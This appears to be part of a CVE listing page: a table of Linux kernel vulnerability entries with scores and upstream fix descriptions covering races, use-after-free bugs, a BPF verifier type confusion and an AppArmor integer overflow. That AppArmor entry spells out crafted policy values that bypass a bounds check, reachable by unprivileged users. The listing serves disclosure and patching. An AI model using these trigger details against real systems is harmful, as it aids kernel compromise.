&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/dma: Restore locking around msi_page_list Unlike a group&#039;s default domain, which is always freshly allocated and privately owned (iommu_group_alloc_default_domain()), VFIO type1&#039;s legacy container merges any newly attached group into an existing domain whenever their iommu_ops and cache-coherency enforcement match. iommu_dma_get_msi_page() only asserts the caller&#039;s own group mutex is held (iommu_group_mutex_assert()). On an IOMMU that publishes IOMMU_RESV_SW_MSI, e.g. ARM SMMU, a VM with two such devices assigned through the legacy container can have their guest drivers probe and allocate MSIs in parallel; each host-side VFIO_DEVICE_SET_IRQS lands on a different device fd and group mutex, but both devices&#039; domains are the same merged domain, so both can enter iommu_dma_get_msi_page() concurrently and corrupt msi_page_list. commit 288683c92b1a (&quot;iommu: Make iommu_dma_prepare_msi() into a generic operation&quot;) dropped the prior msi_prepare_lock on the reasoning that &quot;each iommu_domain is unique to a group,&quot; which holds for default domains but not this VFIO type1 case. Restore the static lock, since it&#039;s only guarding a corner case and will likely never be contended. iommufd avoids the equivalent problem by having its own callers (iommufd_sw_map_msi()) take a ctx-wide sw_msi_lock before ever reaching the shared list. VFIO type1 can&#039;t mirror that since it dispatches to iommu_dma_sw_msi() which is outside VFIO&#039;s jurisdiction.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90244&quot; target=&quot;_blank&quot;&gt;CVE-2026-90244&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: apparmor: fix integer overflow in verify_tags() bounds check verify_tags() validates the tagset table unpacked from a policy blob. For each set it reads a count and checks that advancing the index by that count stays inside sets.table[]: u32 cnt = tags-&amp;gt;sets.table[i]; if (i+cnt &amp;gt;= tags-&amp;gt;sets.size) { i, cnt and sets.size are all u32, so i+cnt is evaluated modulo 2^32. sets.table[] is filled by unpack_tagsets() with aa_unpack_u32(), so every entry is a raw unbounded 32-bit word taken from the policy blob, and verify_tags() is the function that is supposed to validate it. A count close to U32_MAX makes the sum wrap to a small value, the guard passes, and the inner loop then walks sets.table[++i] past the end of the kcalloc(size, sizeof(u32)) allocation. Note that sets.size is bounded by 65535, because unpack_tagsets() reads it with aa_unpack_array() as a u16, so the wrap cannot be reached by growing the table; it is reached purely through the attacker-supplied count. With sets.size = 2 and sets.table = { 0, 0xffffffff }: i = 0: cnt = 0, guard 0 + 0 &amp;gt;= 2 is false, inner loop does not run i = 1: cnt = 0xffffffff, guard (1 + 0xffffffff) mod 2^32 == 0 &amp;gt;= 2 is false, so the guard is bypassed and the inner loop reads sets.table[2] -- one element past a two element allocation The walk continues until an out-of-bounds value happens to be &amp;gt;= hdrs.size or the access faults, so a crafted policy yields an out-of-bounds read on the policy load path (aa_replace_profiles -&amp;gt; aa_unpack -&amp;gt; unpack_policydb -&amp;gt; unpack_tags -&amp;gt; verify_tags). unpack_tags() runs before the perms and DFA tables are unpacked, so no other table needs to be well formed to reach it. Policy load is gated by aa_may_manage_policy(), which checks CAP_MAC_ADMIN relative to the subject&#039;s own user namespace rather than the init user namespace, so with the default unprivileged_userns_apparmor_policy=1 the path is reachable from an unprivileged task in a matched-level nested namespace, not only by a globally privileged one. Perform the addition in u64 so that it cannot wrap, restoring the intended i + cnt &amp;lt; sets.size guarantee.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90246&quot; target=&quot;_blank&quot;&gt;CVE-2026-90246&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: zoned: don&#039;t clobber the extent buffer when zeroing it out On a zoned filesystem a freed-but-still-dirty tree block is written out as zeros (EXTENT_BUFFER_ZONED_ZEROOUT) only to keep the zone write pointer advancing. btree_csum_one_bio() implemented this by memzeroing the extent buffer&#039;s own folios before submission. That destroys the in-memory buffer while it may still be referenced. In particular btrfs_free_tree_block() can run on it afterwards and reads the header to add a delayed reference; once the header has been zeroed it frees bytenr 0 and corrupts the extent tree (the btrfs_header_bytenr(buf) != 0 ASSERT in btrfs_free_tree_block(), or an &quot;unable to find ref&quot; abort). It is flaky and reproduces under fsstress, e.g. generic/461 and generic/013. Write the zeros to disk from the shared zero page instead and leave the extent buffer content untouched, so any later reference - including the delayed reference from btrfs_free_tree_block() - still sees a valid header. end_bbio_meta_write() now clears writeback on the buffer&#039;s own folios, as the bio no longer carries them.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90260&quot; target=&quot;_blank&quot;&gt;CVE-2026-90260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: phy: renesas: rcar-gen2: Fix double of_node_put on phy creation failure for_each_child_of_node_scoped() releases the node reference on scope exit, so the explicit of_node_put(np) in the devm_phy_create() error path drops it twice. Drop the redundant of_node_put() and let the scoped cleanup handle it.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90288&quot; target=&quot;_blank&quot;&gt;CVE-2026-90288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Resize MST HDCP per-connector arrays to 32 AMDGPU_DM_MAX_DISPLAY_INDEX is 31. It suggest a maximum number of 32 connectors. But the way it&#039;s used is like MAX_DISPLAY_COUNT. Hence we&#039;re off by one with DRM core, which supports a max of 32 connectors. Rename AMDGPU_DM_MAX_DISPLAY_INDEX to AMDGPU_DM_MAX_DISPLAY_COUNT to match its actual use, and increase the size to 32 to match the originally intended size.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90289&quot; target=&quot;_blank&quot;&gt;CVE-2026-90289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: module/dups: Fix use-after-free in kmod_dup_req lifetime handling The kmod dups code uses RCU to ensure that a kmod_dup_req instance is freed only after it is no longer referenced. When releasing an instance, the kmod_dup_request_delete() function removes the kmod_dup_req from the dup_kmod_reqs list, waits via synchronize_rcu() and finally frees it. However, this doesn&#039;t work correctly because parallel users referencing the instance in kmod_dup_request_exists_wait() don&#039;t enter an RCU read-side critical section. This can result in a use-after-free. The kmod_dup_request_exists_wait() function may need to hold a valid reference to a kmod_dup_req instance across a blocking wait until the corresponding modprobe command completes. This makes it unsuitable for RCU. Fix the issue by changing the lifecycle management of kmod_dup_req to use reference counting.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90291&quot; target=&quot;_blank&quot;&gt;CVE-2026-90291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/siw: Fix use-after-free in siw_accept() siw_accept() looks up the QP supplied by userspace. If that QP is already in RTS, the function jumps to error cleanup before associating the incoming CEP with it. The cleanup tests whether qp-&amp;gt;cep is non-NULL and assumes the current call installed the association. However, qp-&amp;gt;cep can point to the CEP of an existing connection. The cleanup then drops a reference from the incoming cep, not qp-&amp;gt;cep. Once the incoming endpoint loses its remaining references, this can free it before the subsequent cep-&amp;gt;qp store, causing a use-after-free. It also clears the existing QP association. Only release the association reference when qp-&amp;gt;cep is the incoming CEP. This preserves an existing association and avoids accessing the freed endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90292&quot; target=&quot;_blank&quot;&gt;CVE-2026-90292&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: IB/isert: post the full-feature receive buffers after session registration isert_put_login_tx() posts the full-feature receive buffers before __transport_register_session() runs, so an initiator that does not wait for the final Login Response can still have a SCSI command executed against an se_session whose se_tpg is NULL - the same oops as the previous patch, at target_submit+0xbe. Post them from isert_get_rx_pdu(), which the previous patch already uses to send that response, and post them before that send: the receive queue is filled at the moment the initiator is told it may use it. Allocating there keeps the existing property that a memory allocation failure cannot happen once the final Login Response is on the wire. The receive queue is already empty between the final Login Request and isert_post_recvm(); this moves the second point later, from a median of 92 us to 172 us over 1200 logins. Only an initiator that sends before it has been told to can reach that window, and on IB and RoCE its send is retried there until the buffers appear - isert_rdma_accept() asks for rnr_retry_count = 7. iWARP has no RNR flow control, so there the same send terminates the connection instead. Measured over rxe, 400 login cycles per run, with an initiator that does not wait: an instrumented build counted no entries to isert_recv_done() before the buffers are posted in 10 runs, where that initiator oopsed 8 of 10 unpatched runs and 5 of 10 with only the previous patch. Not tested: iWARP, discovery sessions over iSER, and real HCAs.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90293&quot; target=&quot;_blank&quot;&gt;CVE-2026-90293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: IB/isert: delay the final Login Response until the session is registered isert_put_login_tx() puts the final Login Response on the wire before __transport_register_session(), which iscsi_post_login_handler() reaches only after iscsi_target_do_login() returns. An initiator that issues a SCSI command as soon as it sees that response can have it executed against an se_session whose se_tpg is still NULL, and the ib-comp-wq worker oopses on the NULL dereference. Oops: general protection fault, probably for non-canonical address 0xdffffc000000000f: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000078-0x000000000000007f] CPU: 0 UID: 0 PID: 178 Comm: kworker/0:1H Not tainted 7.2.0-rc5-V2CTL-gf5098b6bae76 #10 PREEMPT(lazy) Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Workqueue: ib-comp-wq ib_cq_poll_work RIP: 0010:target_submit+0xbe/0x390 Code: fa 48 c1 ea 03 80 3c 02 00 0f 85 89 02 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b 64 24 18 49 8d 7c 24 78 48 89 fa 48 c1 ea 03 &amp;lt;80&amp;gt; 3c 02 00 0f 85 5a 02 00 00 48 8d 7b 78 4d 8b 6c 24 78 48 b8 00 RSP: 0018:ffff8881058cfa78 EFLAGS: 00010206 RAX: dffffc0000000000 RBX: ffff88810c78c6f0 RCX: ffffffff964bb363 RDX: 000000000000000f RSI: 00000000fffffe00 RDI: 0000000000000078 RBP: 1ffff11020b19f52 R08: 0000000000000001 R09: ffffed1020b19f52 R10: 0000000000000003 R11: ffff88810596c000 R12: 0000000000000000 R13: ffff88810c61b000 R14: ffff88810c6a3400 R15: ffff88810c61b044 FS: 0000000000000000(0000) GS:ffff8881822b2000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f1f1b83c000 CR3: 000000006fe72001 CR4: 0000000000770ef0 PKRU: 55555554 Call Trace: &amp;lt;TASK&amp;gt; ? __pfx__raw_spin_lock_bh+0x10/0x10 ? __pfx_target_submit+0x10/0x10 ? mutex_lock+0x81/0xe0 ? __pfx_mutex_lock+0x10/0x10 ? iscsit_execute_cmd+0x650/0x850 iscsit_sequence_cmd+0x186/0x3d0 iscsit_process_scsi_cmd+0x87/0x300 isert_recv_done+0x1002/0x2390 ? __pfx_isert_recv_done+0x10/0x10 ? rxe_poll_cq+0x253/0x3d0 ? finish_task_switch.isra.0+0x1dc/0xa70 __ib_process_cq+0xe1/0x390 ib_cq_poll_work+0x46/0x150 process_one_work+0x633/0x1030 ? assign_work+0x11d/0x370 worker_thread+0x45b/0xd10 ? __pfx_worker_thread+0x10/0x10 ? __pfx_worker_thread+0x10/0x10 kthread+0x2c6/0x3b0 ? recalc_sigpending+0x15c/0x1e0 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x36e/0x5a0 ? __pfx_ret_from_fork+0x10/0x10 ? __switch_to+0x572/0xdd0 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30 &amp;lt;/TASK&amp;gt; Modules linked in: ---[ end trace 0000000000000000 ]--- Delay the final Login Response instead. isert_get_rx_pdu() runs from iscsi_target_rx_thread() after conn-&amp;gt;rx_login_comp, completed by iscsi_post_login_handler() after __transport_register_session(); iscsi-TCP and cxgbit already take PDUs from that thread, isert alone does not. The buffers are still posted first, so the initiator&#039;s first command does not meet an empty receive queue and nothing depends on RNR flow control, and the header and payload live in isert_conn, not in the struct iscsi_login that iscsi_target_nego_release() frees first. Over rxe, 400 login cycles per run, the oops appeared in 10 of 20 unpatched runs and in none of 20 runs with this patch. An initiator that never waits is handled by the next patch. Not tested: iWARP, discovery sessions over iSER, and real HCAs.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90294&quot; target=&quot;_blank&quot;&gt;CVE-2026-90294&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/erdma: Hold QP references for AE and CM processing AE QP fatal events and iWARP CM paths load QPs from dev-&amp;gt;qp_xa and then use or reference them outside the xarray lock. erdma_destroy_qp() can drop the destroy-path reference and free QP resources while such a lookup is in flight. Add erdma_qp_get_by_qpn() to acquire a kref under the xarray lock with kref_get_unless_zero(). Remove the QP from the xarray before dropping the destroy-path reference so no new lookup can acquire it while destruction waits for existing users.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90308&quot; target=&quot;_blank&quot;&gt;CVE-2026-90308&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/erdma: Hold CQ references when processing EQ events EQ handlers look up CQs from dev-&amp;gt;cq_xa and invoke CQ completion or error callbacks outside the xarray lock. erdma_destroy_cq() can erase the CQ from the xarray and free its queue buffer and doorbell record while a previously scheduled EQ handler is still using the CQ. Add a CQ refcount and take a reference under the xarray lock with refcount_inc_not_zero(). Remove the CQ from the xarray before dropping the destroy-path reference, then wait for in-flight EQ users before releasing CQ resources.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90309&quot; target=&quot;_blank&quot;&gt;CVE-2026-90309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Check load-acquire src ptr type before the load check_atomic_load() calls check_load_mem() before atomic_ptr_type_ok(). For a load-acquire that fetches into its own source register (dst_reg == src_reg), check_load_mem() overwrites src_reg&#039;s type with the type of the loaded value, so the subsequent atomic_ptr_type_ok() no longer sees the source pointer and fails to reject the disallowed types (ctx, pkt, flow_keys, sock). Since bpf_convert_ctx_accesses() does not rewrite atomic loads, the raw access to the underlying kernel object is left in place. The destination type is taken from the ctx access itself, so a load-acquire of the sk field of struct __sk_buff for example leaves the register typed as PTR_TO_SOCK_COMMON_OR_NULL, which type_is_sk_pointer() does not match either, while it actually holds unconverted struct sk_buff bytes. Once the NULL check has passed this is a type confusion, not just a leak of kernel data. Validate src_reg with check_reg_arg() and check the source pointer type with atomic_ptr_type_ok() before the load again, mirroring check_atomic_rmw(). Out-of-range register numbers are already rejected earlier by check_and_resolve_insns() (commit 503d21ef8eac (&quot;bpf: Do register range validation early&quot;)), and the only exemption there, is_stack_arg_ldx(), requires BPF_LDX | BPF_MEM | BPF_DW and thus never matches a BPF_ATOMIC insn. atomic_ptr_type_ok() can therefore not dereference register state out of bounds, that is, the out-of-bounds read addressed by the Fixes commit below does not reappear (as proven also via selftest).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90312&quot; target=&quot;_blank&quot;&gt;CVE-2026-90312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/omap: dsi: Do not copy isr table To be able to unregister stuff from isrs, the corresponding table was copied. Nobody seems to unregister stuff that way, so it does not help. But there are stack-allocated objects passed to these isrs giving chances of UAF of these objects if irqs are unregistered while they are handled, so better do not copy that table.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90316&quot; target=&quot;_blank&quot;&gt;CVE-2026-90316&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Invalidate RCU pointers after final spin unlock In a sleepable BPF program, a spin lock can provide the only RCU protection for a kptr. The final bpf_spin_unlock() ends that protection, but the verifier leaves the pointer valid. Another CPU can then free the object before the pointer is used. A capability-limited runtime PoC triggered a task_struct use-after-free in __bpf_get_task_stack(). Record whether the program is in an RCU-protected context before releasing the lock. Invalidate RCU-protected pointers only when the unlock leaves the final such context. This preserves valid pointers in non-sleepable programs and inside an explicit RCU read-side section.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90317&quot; target=&quot;_blank&quot;&gt;CVE-2026-90317&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate external xattr entries when reading metadata ocfs2_validate_xattr_block() checks the xattr block header before the block reaches higher-level xattr users, but it does not verify that a non-indexed block&#039;s xh_count and entry offsets fit inside the block. Indexed buckets likewise reach list/get consumers after ECC without an entry-bounds check. Use the flat xattr entry validator for non-indexed external xattr blocks, and use a bucket-specific validator for indexed buckets at metadata read time. The bucket validator keeps the entry array bounded by the first bucket block while checking name/value offsets against the bucket block they target. Reject corrupted external xattr metadata before listxattr() or getxattr() can walk out-of-range entry arrays or name/value offsets. Validation reproduced this kernel report: BUG: KASAN: use-after-free in ocfs2_xattr_list_entries+0xd7/0x190 Read of size 1 at addr ffff88810a654007 by task ocfs2_xattr_lis/630 Call Trace: dump_stack_lvl+0x66/0xa0 print_report+0xce/0x630 kasan_report+0xe0/0x110 ocfs2_xattr_list_entries+0xd7/0x190 ocfs2_listxattr+0x3f6/0x610 listxattr+0x90/0xe0 path_listxattrat+0xed/0x220 do_syscall_64+0x115/0x6a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90320&quot; target=&quot;_blank&quot;&gt;CVE-2026-90320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate inline xattrs during inode block validation Patch series &quot;ocfs2: validate xattr entry bounds&quot;, v7. This series validates OCFS2 xattr entry name/value bounds when xattr metadata is read and validated, before getxattr() or listxattr() can walk out-of-range entry arrays or offsets from corrupted metadata. This patch (of 2): ocfs2_validate_inode_block() verifies a dinode before OCFS2 users walk metadata from it, but inline xattr metadata is still checked only in operation-specific consumers. The existing ibody lookup helper validates inline header placement and entry count, but inode block validation does not reject entry name/value bounds. Add a flat xattr entry validator and call it from inode block validation for inline xattrs. Keep the operation paths on their existing header/count lookup checks; the full entry bounds check now runs when the inode block is validated at read time. Reject corrupted inline xattr metadata before ocfs2_xattr_ibody_get() or listxattr() can walk past the inline storage. Validation reproduced this kernel report: BUG: KASAN: use-after-free in ocfs2_xattr_find_entry+0x5a/0x170 Read of size 2 at addr ffff8881242a2000 by task python3/529 Call Trace: dump_stack_lvl+0x66/0xa0 print_report+0xce/0x630 kasan_report+0xe0/0x110 ocfs2_xattr_find_entry+0x5a/0x170 ocfs2_xattr_get_nolock+0x20a/0x820 ocfs2_xattr_get+0x10c/0x1e0 __vfs_getxattr+0xe2/0x130 vfs_getxattr+0x185/0x1b0&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90321&quot; target=&quot;_blank&quot;&gt;CVE-2026-90321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ublk: check import_ubuf() return value import_ubuf() can fail if the address range (provided by the userspace ublk server) is outside the allowed user address space. Return that 0 bytes were copied if import_ubuf() fails rather than passing an uninitialized struct iov_iter to ublk_copy_user_pages().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90324&quot; target=&quot;_blank&quot;&gt;CVE-2026-90324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: skip dying blkg in blkcg_activate_policy() When switching IO schedulers on a block device, blkcg_activate_policy() can race with concurrent blkcg deletion, leading to a use-after-free in rcu_accelerate_cbs. T1: T2: blkg_destroy kill(&amp;amp;blkg-&amp;gt;refcnt) // blkg-&amp;gt;refcnt=1-&amp;gt;0 blkg_release // call_rcu(__blkg_release) ... blkg_free_workfn -&amp;gt;pd_free_fn(pd) elv_iosched_store elevator_switch ... iterate blkg list blkg_get(blkg) // blkg-&amp;gt;refcnt=0-&amp;gt;1 list_del_init(&amp;amp;blkg-&amp;gt;q_node) blkg_put(pinned_blkg) // blkg-&amp;gt;refcnt=1-&amp;gt;0 blkg_release // call_rcu again rcu_accelerate_cbs // uaf Fix this by checking hlist_unhashed(&amp;amp;blkg-&amp;gt;blkcg_node) before getting a reference to the blkg. This is the same check used in blkg_destroy() to detect if a blkg has already been destroyed. If the blkg is already unhashed, skip processing it since it&#039;s being destroyed.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90325&quot; target=&quot;_blank&quot;&gt;CVE-2026-90325&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: fix race between policy activation and blkg destruction When switching an IO scheduler on a block device, blkcg_activate_policy() allocates blkg_policy_data (pd) for all blkgs attached to the queue. However, blkcg_activate_policy() may race with concurrent blkcg deletion, leading to use-after-free and memory leak issues. The use-after-free occurs in the following race: T1 (blkcg_activate_policy): - Successfully allocates pd for blkg1 (loop0-&amp;gt;queue, blkcgA) - Fails to allocate pd for blkg2 (loop0-&amp;gt;queue, blkcgB) - Enters the enomem rollback path to release blkg1 resources T2 (blkcg deletion): - blkcgA is deleted concurrently - blkg1 is freed via blkg_free_workfn() - blkg1-&amp;gt;pd is freed T1 (continued): - Rollback path accesses blkg1-&amp;gt;pd-&amp;gt;online after pd is freed - Triggers use-after-free In addition, blkg_free_workfn() frees pd before removing the blkg from q-&amp;gt;blkg_list. This allows blkcg_activate_policy() to allocate a new pd for a blkg that is being destroyed, leaving the newly allocated pd unreachable when the blkg is finally freed. Fix these races by extending blkcg_mutex coverage to serialize blkcg_activate_policy() rollback and blkg destruction, ensuring pd lifecycle is synchronized with blkg list visibility.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90326&quot; target=&quot;_blank&quot;&gt;CVE-2026-90326&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: coreboot: Validate table bounds The existing coreboot_table_populate() bounds checks limit individual entries to the mapped length. However, coreboot_table_probe() replaces the platform resource length with header and table sizes supplied by firmware before mapping the full table. A malformed table can overflow the 32-bit size addition or advertise an extent beyond the resource, causing the driver to map and parse memory outside the resource. A resource shorter than the fixed header is also mapped as though it contained a complete header. Reject resources shorter than the fixed header. After validating the signature, require a complete header, calculate the advertised extent with overflow checking, and reject extents beyond the resource before remapping the table.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90341&quot; target=&quot;_blank&quot;&gt;CVE-2026-90341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: stop PMSR before P2P and NAN teardown PMSR request teardown must abort active measurements while the wireless_dev is still present in the driver. cfg80211_leave_locked() and cfg80211_stop_pd() already do this before invoking the driver&#039;s stop callback, but cfg80211_stop_p2p_device() and cfg80211_stop_nan() do not. Those helpers are also called directly by nl80211, rfkill shutdown, and wireless_dev unregister paths. If one of these paths stops a P2P device or NAN interface with a pending request, it removes the mac80211 subinterface from the driver first. Subsequent request cleanup cannot reach the lower driver&#039;s abort callback, but cfg80211 frees the request regardless. Driver state can then retain a stale request and use it when it later reports a result. Call cfg80211_pmsr_wdev_down() before stopping the P2P device or NAN interface. This keeps lower-driver request state and cfg80211 request ownership in sync for all of the helpers&#039; callers.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90343&quot; target=&quot;_blank&quot;&gt;CVE-2026-90343&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: fix ext PHY use-after-free on register error path After mt7915_register_ext_phy() succeeded, a failure of the main PHY mt7915_init_debugfs() or mt7915_coredump_register() unwound through free_phy2, which called ieee80211_free_hw() on the ext PHY hw while it was still registered with mac80211, since mt76_unregister_device() only unregisters the main hw. Unregister the ext PHY (thermal + phy + hw) first and skip the redundant free.&lt;/td&gt;
